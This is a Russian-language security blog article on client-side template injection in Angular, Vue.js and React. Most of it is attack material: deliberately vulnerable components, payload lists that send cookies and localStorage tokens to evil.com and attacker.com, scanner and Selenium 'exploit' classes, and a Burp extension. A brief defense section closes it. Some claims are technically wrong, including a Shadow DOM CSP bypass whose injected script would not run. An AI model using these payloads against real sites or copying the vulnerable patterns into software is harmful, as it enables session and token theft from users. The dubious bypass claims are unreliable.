
20
Client-Side Template Injection (CSTI) – это уязвимость, которая возникает когда пользовательские данные попадают в шаблоны JavaScript-фреймворков без должной санитизации. В отличие от классического Server-Side Template Injection (SSTI), CSTI выполняется в браузере жертвы и часто позволяет обойти CSP, украсть токены или выполнить произвольный JavaScript.
Почему это опасно в 2026
Современные SPA (Single Page Applications) используют реактивные фреймворки, где граница между данными и кодом размыта. Один неправильно обработанный input может превратиться в полноценный RCE в контексте браузера, с доступом к localStorage, cookies и DOM.
Angular: Template Expressions как точка входа
Angular использует двойные фигурные скобки {{}} для интерполяции данных. Если в шаблон попадает непроверенный пользовательский ввод, атакующий может выполнить произвольные выражения.
Уязвимый код Angular
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// vulnerable.component.ts import { Component } from '@angular/core'; @Component({ selector: 'app-vulnerable', template: ` <div>Welcome, {{username}}</div> ` }) export class VulnerableComponent { username: string = ''; ngOnInit() { // Получаем username из URL параметра const params = new URLSearchParams(window.location.search); this.username = params.get('name') || 'Guest'; } } |
Эксплойт для Angular
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// Payload в URL: ?name={{constructor.constructor('alert(1)')()}} // Современный Angular блокирует constructor, используем обход: // Payload 1: Обход через toString {{toString.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}} // Payload 2: Через DOM manipulation (Angular 15+) {{$on.constructor('document.body.innerHTML="<img src=x onerror=alert(1)>"')()}} // Payload 3: Bypass CSP через AngularJS sandbox (для старых версий) {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} // Payload 4: Exfiltration данных (Angular 12+) {{constructor.constructor('fetch("https://evil.com?c="+document.cookie)')()}} |
Автоматизация проверки Angular CSTI
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
#!/usr/bin/env python3 import requests import re from urllib.parse import urljoin, quote class AngularCSTIChecker: def __init__(self, target_url): self.target = target_url self.payloads = [ "{{7*7}}", "{{constructor.constructor('alert(1)')()}}", "{{toString.constructor.prototype.charAt=[].join;$eval('x=1+1')}}", "{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('x=alert(1)')}}" ] def check_reflection(self, payload): """Проверяем, отражается ли payload в ответе""" encoded = quote(payload) url = f"{self.target}?name={encoded}" try: resp = requests.get(url, timeout=5) # Ищем выполнение expression (49 = 7*7) if "49" in resp.text and "7*7" not in resp.text: return True, "Expression evaluated" # Ищем признаки Angular в DOM if payload in resp.text and 'ng-' in resp.text: return True, "Reflected in Angular context" return False, None except Exception as e: return False, str(e) def scan(self): print(f"[*] Scanning {self.target} for Angular CSTI...") results = [] for payload in self.payloads: vulnerable, info = self.check_reflection(payload) if vulnerable: print(f"[!] VULNERABLE: {payload}") print(f" Info: {info}") results.append(payload) else: print(f"[.] Safe: {payload}") return results # Использование if __name__ == "__main__": checker = AngularCSTIChecker("https://target.com/profile") vulns = checker.scan() if vulns: print(f"\n[!] Found {len(vulns)} vulnerable payloads!") |
Vue.js: v-html и компиляция шаблонов
Vue.js более безопасен по умолчанию, но директива v-html и динамическая компиляция шаблонов могут стать проблемой.
Уязвимый код Vue.js
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
// Vulnerable.vue <template> <div> <!-- УЯЗВИМО: v-html рендерит HTML --> <div v-html="userContent"></div> <!-- УЯЗВИМО: динамическая компиляция --> <component :is="dynamicComponent"></component> </div> </template> <script> import Vue from 'vue'; export default { data() { return { userContent: '', dynamicComponent: null } }, mounted() { // Получаем контент из URL const params = new URLSearchParams(window.location.search); this.userContent = params.get('content'); // КРИТИЧЕСКИ ОПАСНО: компиляция пользовательского шаблона const template = params.get('template'); if (template) { this.dynamicComponent = Vue.compile(template); } } } </script> |
Эксплойт для Vue.js
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// Payload 1: XSS через v-html ?content=<img src=x onerror="alert(document.domain)"> // Payload 2: Template compilation (Vue 2.x) ?template=<div>{{constructor.constructor('alert(1)')()}}</div> // Payload 3: Доступ к Vue instance ?template=<div>{{this.$root.$el.innerHTML='<script>alert(1)</script>'}}</div> // Payload 4: Exfiltration через computed ?template=<div>{{this.$options.computed.steal=()=>fetch('https://evil.com?d='+localStorage.token)}}</div> // Payload 5: Bypass sanitization через vue-template-compiler const malicious = ` <div> {{_c.constructor('return this')().alert(1)}} </div> `; |
Python-скрипт для поиска Vue.js CSTI
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
#!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import json class VueCSTIScanner: def __init__(self, target): self.target = target self.session = requests.Session() def detect_vue(self, html): """Определяем использование Vue.js""" indicators = [ 'data-v-', 'v-cloak', '__vue__', 'vue.js', 'vue.runtime' ] return any(ind in html.lower() for ind in indicators) def test_vhtml_injection(self): """Тестируем v-html injection""" payloads = [ '<img src=x onerror=console.log("XSS")>', '<svg/onload=alert(1)>', '<iframe src="javascript:alert(1)">', ] for payload in payloads: data = {'content': payload} resp = self.session.post(self.target, data=data) # Проверяем, выполнился ли payload if payload in resp.text and '<img' in resp.text: print(f"[!] v-html injection found: {payload}") return True return False def test_template_compilation(self): """Тестируем динамическую компиляцию шаблонов""" payloads = [ '{{constructor.constructor("return 1")()}}', '{{this.$root.$el}}', '{{_c.constructor("alert(1)")()}}' ] for payload in payloads: params = {'template': payload} resp = self.session.get(self.target, params=params) # Ищем признаки выполнения if payload not in resp.text: # payload был обработан print(f"[!] Template compilation vulnerable: {payload}") return True return False def full_scan(self): print(f"[*] Starting Vue.js CSTI scan on {self.target}") # Проверяем наличие Vue resp = self.session.get(self.target) if not self.detect_vue(resp.text): print("[-] Vue.js not detected") return False print("[+] Vue.js detected!") # Запускаем тесты results = { 'vhtml': self.test_vhtml_injection(), 'template': self.test_template_compilation() } return results # Использование scanner = VueCSTIScanner("https://target.com/app") results = scanner.full_scan() |
React: dangerouslySetInnerHTML и JSX Injection
React защищён от XSS по умолчанию, но есть опасные паттерны.
Уязвимый код React
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
// Vulnerable.jsx import React, { useState, useEffect } from 'react'; function VulnerableComponent() { const [htmlContent, setHtmlContent] = useState(''); const [jsxCode, setJsxCode] = useState(null); useEffect(() => { const params = new URLSearchParams(window.location.search); const userHtml = params.get('html'); const userJsx = params.get('jsx'); // УЯЗВИМО: dangerouslySetInnerHTML setHtmlContent(userHtml); // КРИТИЧЕСКИ ОПАСНО: eval JSX if (userJsx) { try { const Component = eval(`(${userJsx})`); setJsxCode(<Component />); } catch(e) { console.error(e); } } }, []); return ( <div> {/* УЯЗВИМО */} <div dangerouslySetInnerHTML={{__html: htmlContent}} /> {/* УЯЗВИМО */} {jsxCode} </div> ); } |
Эксплойт для React
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
// Payload 1: XSS через dangerouslySetInnerHTML ?html=<img src=x onerror="fetch('https://evil.com?c='+document.cookie)"> // Payload 2: JSX injection через eval ?jsx=()=>{window.location='https://evil.com?token='+localStorage.getItem('token');return null} // Payload 3: React DevTools exploitation ?jsx=()=>{const el=document.querySelector('[data-reactroot]');const key=Object.keys(el).find(k=>k.startsWith('__reactInternalInstance'));const inst=el[key];console.log(inst);return null} // Payload 4: Bypass через createElement const malicious = ` () => { return React.createElement('img', { src: 'x', onError: () => { fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: {...localStorage} }) }); } }); } `; // Payload 5: Server-Side Rendering (SSR) bypass ?html=<script>window.__INITIAL_STATE__={admin:true}</script> |
Автоматизированный сканер для React
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
#!/usr/bin/env python3 import requests import re from selenium import webdriver from selenium.webdriver.chrome.options import Options import time class ReactCSTIExploit: def __init__(self, target_url): self.target = target_url self.driver = self.setup_browser() def setup_browser(self): """Настройка headless Chrome для тестирования""" options = Options() options.add_argument('--headless') options.add_argument('--disable-gpu') options.add_argument('--no-sandbox') driver = webdriver.Chrome(options=options) return driver def test_dangerous_html(self): """Тестируем dangerouslySetInnerHTML""" payload = '<img src=x onerror="window.xssExecuted=true">' url = f"{self.target}?html={payload}" self.driver.get(url) time.sleep(2) # Проверяем выполнение result = self.driver.execute_script("return window.xssExecuted || false") if result: print("[!] CRITICAL: dangerouslySetInnerHTML XSS executed!") return True return False def test_jsx_eval(self): """Тестируем eval JSX""" payload = "()=>{window.jsxInjected=true;return React.createElement('div',null,'pwned')}" url = f"{self.target}?jsx={payload}" self.driver.get(url) time.sleep(2) result = self.driver.execute_script("return window.jsxInjected || false") if result: print("[!] CRITICAL: JSX eval injection executed!") return True return False def extract_react_props(self): """Извлекаем React props для анализа""" script = """ const root = document.querySelector('[data-reactroot], #root'); if (!root) return null; const key = Object.keys(root).find(k => k.startsWith('__react')); if (!key) return null; const fiber = root[key]; const props = fiber?.memoizedProps || fiber?.pendingProps; return JSON.stringify(props); """ try: props = self.driver.execute_script(script) if props: print(f"[+] React props extracted: {props[:200]}...") return props except Exception as e: print(f"[-] Failed to extract props: {e}") return None def full_exploit(self): print(f"[*] Testing React CSTI on {self.target}") results = { 'dangerouslySetInnerHTML': self.test_dangerous_html(), 'jsx_eval': self.test_jsx_eval(), 'props': self.extract_react_props() } self.driver.quit() return results # Использование exploiter = ReactCSTIExploit("https://target.com/dashboard") results = exploiter.full_exploit() if any(results.values()): print("\n[!] TARGET IS VULNERABLE!") print(f"Results: {results}") |
Bypass CSP через Shadow DOM
Современные приложения используют Content Security Policy для защиты от XSS. Но Shadow DOM может стать точкой обхода.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
// CSP Bypass через Shadow DOM в любом фреймворке const shadowHost = document.createElement('div'); document.body.appendChild(shadowHost); const shadow = shadowHost.attachShadow({mode: 'open'}); shadow.innerHTML = ` <script> // Этот скрипт может выполниться даже с strict CSP fetch('https://evil.com/exfil', { method: 'POST', body: JSON.stringify({ origin: window.location.href, cookies: document.cookie, localStorage: Object.entries(localStorage) }) }); </script> <style> @import url('https://evil.com/style.css?leak='+document.cookie); </style> `; |
Универсальный Burp Extension для CSTI
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
// CSTIScanner.java - Burp Suite Extension package burp; import java.util.*; public class BurpExtender implements IBurpExtender, IScannerCheck { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private static final String[] ANGULAR_PAYLOADS = { "{{7*7}}", "{{constructor.constructor('alert(1)')()}}", "{{toString.constructor.prototype.charAt=[].join;$eval('x=1')}}" }; private static final String[] VUE_PAYLOADS = { "{{_c.constructor('return 1')()}}", "{{this.$root.$el}}", "<img src=x onerror=alert(1)>" }; private static final String[] REACT_PAYLOADS = { "<img src=x onerror=\"window.pwned=1\">", "()=>{return React.createElement('div')}" }; @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); callbacks.setExtensionName("CSTI Scanner"); callbacks.registerScannerCheck(this); } @Override public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) { List<IScanIssue> issues = new ArrayList<>(); // Анализируем ответ на наличие фреймворков byte[] response = baseRequestResponse.getResponse(); String responseStr = helpers.bytesToString(response); if (responseStr.contains("ng-") || responseStr.contains("angular")) { issues.addAll(checkAngularCSTI(baseRequestResponse)); } if (responseStr.contains("data-v-") || responseStr.contains("vue")) { issues.addAll(checkVueCSTI(baseRequestResponse)); } if (responseStr.contains("react") || responseStr.contains("data-reactroot")) { issues.addAll(checkReactCSTI(baseRequestResponse)); } return issues; } private List<IScanIssue> checkAngularCSTI(IHttpRequestResponse baseReq) { List<IScanIssue> issues = new ArrayList<>(); for (String payload : ANGULAR_PAYLOADS) { IHttpRequestResponse testReq = makeRequest(baseReq, payload); String response = helpers.bytesToString(testReq.getResponse()); // Проверяем выполнение expression if (payload.contains("7*7") && response.contains("49")) { issues.add(createIssue(testReq, "Angular CSTI", payload)); } } return issues; } private IHttpRequestResponse makeRequest(IHttpRequestResponse base, String payload) { byte[] request = base.getRequest(); IRequestInfo reqInfo = helpers.analyzeRequest(request); // Добавляем payload в параметры List<IParameter> params = reqInfo.getParameters(); byte[] newRequest = request; for (IParameter param : params) { newRequest = helpers.updateParameter(newRequest, helpers.buildParameter(param.getName(), payload, param.getType())); } return callbacks.makeHttpRequest(base.getHttpService(), newRequest); } private IScanIssue createIssue(IHttpRequestResponse req, String name, String payload) { return new CustomScanIssue( req.getHttpService(), helpers.analyzeRequest(req).getUrl(), new IHttpRequestResponse[] {req}, name, "Detected CSTI with payload: " + payload, "High" ); } @Override public List<IScanIssue> doActiveScan(IHttpRequestResponse base, IScannerInsertionPoint point) { return null; // Пассивное сканирование достаточно } @Override public int consolidateDuplicateIssues(IScanIssue existing, IScanIssue newIssue) { return existing.getIssueName().equals(newIssue.getIssueName()) ? -1 : 0; } } |
Защита: как закрыть уязвимости
Angular
|
1 2 3 4 5 6 7 8 |
// Используйте DomSanitizer import { DomSanitizer } from '@angular/platform-browser'; constructor(private sanitizer: DomSanitizer) {} getSafeHtml(userInput: string) { return this.sanitizer.sanitize(SecurityContext.HTML, userInput); } |
Vue.js
|
1 2 3 4 5 6 7 8 9 10 11 |
// Избегайте v-html и Vue.compile // Используйте v-text или computed properties <div v-text="userContent"></div> // Sanitize перед рендером import DOMPurify from 'dompurify'; computed: { safeContent() { return DOMPurify.sanitize(this.userContent); } } |
React
|
1 2 3 4 5 6 7 8 |
// Никогда не используйте eval или Function() // Избегайте dangerouslySetInnerHTML // Используйте библиотеки для санитизации import DOMPurify from 'isomorphic-dompurify'; <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} /> |
CSTI – это мощный вектор атаки в 2026 году, особенно в SPA-приложениях. Комбинация пользовательского ввода и реактивных шаблонов создаёт идеальные условия для эксплуатации. Тестируй, автоматизируй, взламывай – и не забывай про defense! 🔥